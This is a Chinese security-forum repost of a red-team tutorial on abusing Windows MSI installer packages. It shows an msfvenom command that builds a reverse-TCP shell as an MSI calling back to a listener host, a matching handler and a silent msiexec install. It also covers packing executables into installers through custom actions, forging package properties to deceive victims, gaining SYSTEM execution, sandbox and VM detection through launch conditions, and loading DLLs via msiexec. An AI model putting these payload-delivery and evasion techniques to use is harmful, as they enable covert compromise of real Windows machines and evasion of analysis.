安全矩阵

 找回密码
 立即注册
搜索
查看: 673|回复: 0

msi的简单使用

[复制链接]

260

主题

275

帖子

1065

积分

金牌会员

Rank: 6Rank: 6

积分
1065
发表于 2023-2-15 21:47:02 | 显示全部楼层 |阅读模式
本帖最后由 luozhenni 于 2023-2-15 21:46 编辑

msi的简单使用
原文链接:msi的简单使用
原创 ziansec 红队蓝军 2023-02-15 11:00 发表于湖北
前言
Windows Installer 使用安装包,其中包含 Windows Installer 需要安装、卸载或修复产品以及运行安装程序用户界面 (UI) 的信息。每个安装包都包含一个.msi文件,该文件包含安装数据库、摘要信息流和安装的各个部分的数据流。
msf
直接加载msf的msi上线
  1. msfvenom -a x64 -p windows/x64/shell/reverse_tcp LHOST=192.168.11.1 LPORT=8888 -f msi -o 1.msi
复制代码

编辑
  1. handler -p windows/x64/shell/reverse_tcp -H 0.0.0.0 -P 8888
  2.    
  3. msiexec /q /i 1.msi
复制代码
编辑
编辑
vs

下载扩展
编辑
搜索创建msi文件即可
编辑
利用文件系统和自定义操作选项,可以设置将在目标主机上释放的文件和执行的命令
编辑
点击项目输出
编辑
打包exe进msi
编辑
可以添加图标
编辑
编辑
编辑
创建快捷方式
编辑
编辑
在扩展中可以对安装包的属性进行设置,部分属性会在msi文件的详细信息中体现,所以可以对属性进行一些伪造欺骗
编辑
如果选择True时,在管理员权限下msiexec会使用SYSTEM权限执行安装:
编辑
启动条件
点击view->启动条件
编辑
可以设置硬件属性中的内存、分辨率来检测是否在虚拟机里启动
编辑
比如这里要求物理内存必须大于多少字节才启动安装包
编辑
可以通过orca.exe来查看其他软件的启动条件设置,下载链接:
  1. https://learn.microsoft.com/en-us/windows/win32/msi/orca-exe
复制代码
编辑
常见的判断条件可参考:
  1. https://community.flexera.com/t5/InstallShield-Knowledge-Base/Common-MSI-Conditions/ta-p/3854
复制代码
编辑
在安装时可以使用msiexec /q /i MsiexecSetup.msi /log 123.log方式输出日志文件,通过对比日志文件进行更详细的条件设置
编辑
打包exe/二进制文件
MSI安装包中可以添加exe、dll、vbs、js类型二进制文件或脚本。常用操作是通过文件系统管理添加要执行的文件,然后在自定义操作中设置在几个阶段要执行的文件,文件释放位置可以使用系统文件夹属性变量
编辑
编辑
编辑
编辑
编辑
打包安装
编辑
加载dll
导出函数
  1. extern "C" __declspec(dllexport) void DllRegisterServer(HWND hwnd, HINSTANCE hinst)
  2. {
  3.     MessageBoxA(NULL, "1", "DllRegisterServer", MB_OK);
  4. };

  5. extern "C" __declspec(dllexport) void DllUnRegisterServer(HWND hwnd, HINSTANCE hinst)
  6. {
  7.     MessageBoxA(NULL, "2", "DllUnRegisterServer", MB_OK);
  8. }
复制代码

msiexec程序也可以加载DLL执行,前提是DLL文件在磁盘上存在并且是64位的。通过命令行调用DLL中的DllRegisterServer或DllUnRegisterServer
  1. # DllUnRegisterServer
  2. msiexec /z C:\windows\tmp\run.dll
  3. # DllRegisterServer
  4. msiexec /y C:\windows\tmp\run.dll
  5. # 执行run.dll文件 DllRegisterServer
  6. msiexec /y .\windows\tmp\run
  7. # 执行 .dll 文件 DllRegisterServer
  8. msiexec /y .\calc.dll
复制代码

编辑


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 00:38 , Processed in 0.020095 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表